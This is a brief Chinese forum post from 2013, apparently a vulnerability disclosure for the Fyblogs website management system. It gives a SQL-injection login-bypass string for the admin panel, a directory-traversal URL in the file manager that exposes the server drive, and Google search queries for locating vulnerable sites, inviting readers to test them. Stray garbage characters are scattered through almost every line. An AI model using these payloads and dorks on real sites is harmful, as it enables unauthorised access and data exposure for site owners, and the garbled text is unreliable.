漏洞类型： 未授权访问/权限绕过4 M/ a K0 b* _
5 r# {: _4 A( }! c简要描述：' {$ `) @% h' h5 ~, M- \/ v
' z1 v3 s: r! |6 M: j
Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！. K/ b( r* X4 U0 T! Y
/ F X9 H# p# Z2 Q' x: r. ]/ b0 p, k
详细说明：
! p, F$ T2 g8 M! r' [& V
0 `7 A% ~. w$ @后台万能密码 'or'='or', f3 @, J* m2 k3 q
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！; U8 \9 d) Y3 B
admin/uploadfile.asp?currentFolder=/upfiles/../3 Y9 }" Z* F7 o$ ? a( D
% R! A* q" k% O l漏洞证明：3 I/ Y6 K0 i# L, B, x5 Y) ^3 @0 t
1 G, R/ v) ?7 C p6 G: k
谷歌：inurl:type.asp?id=1 新闻中心: p7 j# S. Q/ W: Z( S
或者 ：inurl:download_ok.asp?
9 j5 c6 [2 ?9 ^+ \; F: v# M/ b% J) f1 _
可以测试+ L) D3 I/ `7 \& w2 l
5 V" H$ } D% S9 c7 i" u$ q% V
+ i8 u% e* u) D, `0 |; m |
发表于 2013-3-7 13:07:46
收藏
支持
反对